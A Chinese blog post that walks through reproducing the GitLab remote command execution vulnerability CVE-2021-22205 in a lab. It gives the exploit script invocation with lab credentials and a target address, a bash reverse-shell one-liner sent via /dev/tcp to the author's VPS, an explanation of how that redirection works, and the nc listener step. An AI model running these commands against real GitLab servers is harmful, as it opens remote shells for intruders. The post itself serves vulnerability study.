CVE-2021-22205 Gitlab远程命令执行漏洞复现

0x01

影响范围:Gitlab version < 13.10.3

漏洞原理:https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

0x02

开始复现

首先下载Exp,开始准备复现

打开靶机

 

 

 登录进去,账号为root 密码为admin123

启动vps与nc监听端口

python3.8 cve-2021-22205.py -u root -p admin123 -t http://118.193.36.37:25856 -c "echo 'bash -i >& /dev/tcp/vps的IP地址/7777 0>&1' > /tmp/1.sh"

解疑 ”bash -i >& /dev/tcp/IP/PORT 0>&1” 

bash -i Linux中一般默认的shell是bash,bash可以覆盖shell的一切功能 (通俗点 bash包含执行shell但bash的功能大于shell)
带个 -i 就是打开一个交互型的bash

  标准输入(stdin): 代码为 0 使用 < 或 << 默认设备键盘

  标准输出(stdout): 代码为 1 使用 > 或 >> 默认设备显示器

  标准错误输出(stderr): 代码为 2 使用 2> 或 2>> 默认设备显示器

  bash -i 打开bash
  >&后面跟 /dev/tcp/[ip]/[port] (相当于>&后面接文件)将bash的标准输出和标准错误输出传递到远程。
  0>&1将标准输入重定向至标准输出,由于标准输出定向至远程,标准输入也借此定向到远程。(由于标准错误输出也定向至远程,因此把 0>&1 改为 0>&2 也可以得到一个交互shell)

 

 

开始进行操作

 

 首先创建1.sh文件,将标准输出与输入都发到远程显示

 

 使用chmod +x 来为1.sh赋权

 

 /bin/bash来执行1.sh

 

nc -lnvp 7777监听端口,成功getshell

 

0x03

至此,对CVE-2021-22205的漏洞复现结束

posted @ 2021-10-29 23:46  Dixk-BXy  阅读(415)  评论(0编辑  收藏  举报
Live2D